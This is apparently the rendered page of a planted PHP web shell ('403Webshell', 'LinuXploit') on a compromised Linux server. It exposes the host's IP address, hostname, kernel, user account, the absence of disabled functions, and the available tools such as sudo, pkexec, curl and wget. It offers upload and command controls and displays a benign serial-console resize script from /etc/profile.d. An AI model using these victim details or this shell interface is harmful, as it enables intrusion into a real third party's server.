403Webshell
Server IP : 159.253.20.91  /  Your IP : 216.73.216.111
Web Server : nginx/1.20.2
System : Linux se38c9e53.fastvps-server.com 5.10.0-13-amd64 #1 SMP Debian 5.10.106-1 (2022-03-17) x86_64
User : pr11_ru_usr ( 1041)
PHP Version : 8.1.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/profile.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/profile.d/serial-console.sh
#resize for serial console
rsz()
{
    local IFS='[;' escape geometry x y
    echo -ne '\e7\e[r\e[999;999H\e[6n\e8'
    read -sd R escape geometry
    x=${geometry##*;} y=${geometry%%;*}
    if [[ ${COLUMNS} -eq ${x} && ${LINES} -eq ${y} ]];then
        return 0
    else
        echo "${TERM}: ${COLUMNS}x${LINES} -> ${x}x${y}"
        stty cols ${x} rows ${y}
    fi
}

export TERM=xterm-256color
tset -s > /dev/null 2>&1 

if [ "$(/usr/bin/tty)" == "/dev/ttyS0" ]; then
    export PROMPT_COMMAND="rsz; $PROMPT_COMMAND"
fi

Youez - 2016 - github.com/yon3zu
LinuXploit